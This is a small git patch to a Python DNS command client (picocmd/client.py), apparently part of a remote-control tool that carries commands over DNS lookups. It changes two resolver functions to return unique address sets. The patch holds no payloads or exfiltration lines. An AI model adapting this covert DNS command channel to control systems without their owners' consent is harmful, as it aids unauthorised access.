From d1da866eebfcf738487f548cd20e24b3354237c0 Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Tue, 23 Apr 2019 09:30:38 +0300 Subject: [PATCH] a/aaaa decoders: Ensure addresses are always unique --- pupy/network/lib/picocmd/client.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pupy/network/lib/picocmd/client.py b/pupy/network/lib/picocmd/client.py index 9becc8bd..0c6ee393 100644 --- a/pupy/network/lib/picocmd/client.py +++ b/pupy/network/lib/picocmd/client.py @@ -182,11 +182,11 @@ class DnsCommandsClient(Thread): '{} is not supported by native resolver'.format(self.qtype) ) - return [ + return set( addr[0] for af_family, _, _, _, addr in socket.getaddrinfo( hostname, 80, family ) if af_family == family - ] + ) def _dnslib_resolve(self, hostname): q = dnslib.DNSRecord.question(hostname, self.qtype) @@ -230,7 +230,7 @@ class DnsCommandsClient(Thread): result.append(str(record.rdata)) - return result + return set(result) def _aaaa_page_decoder(self, addresses, nonce, symmetric=None): if symmetric is None: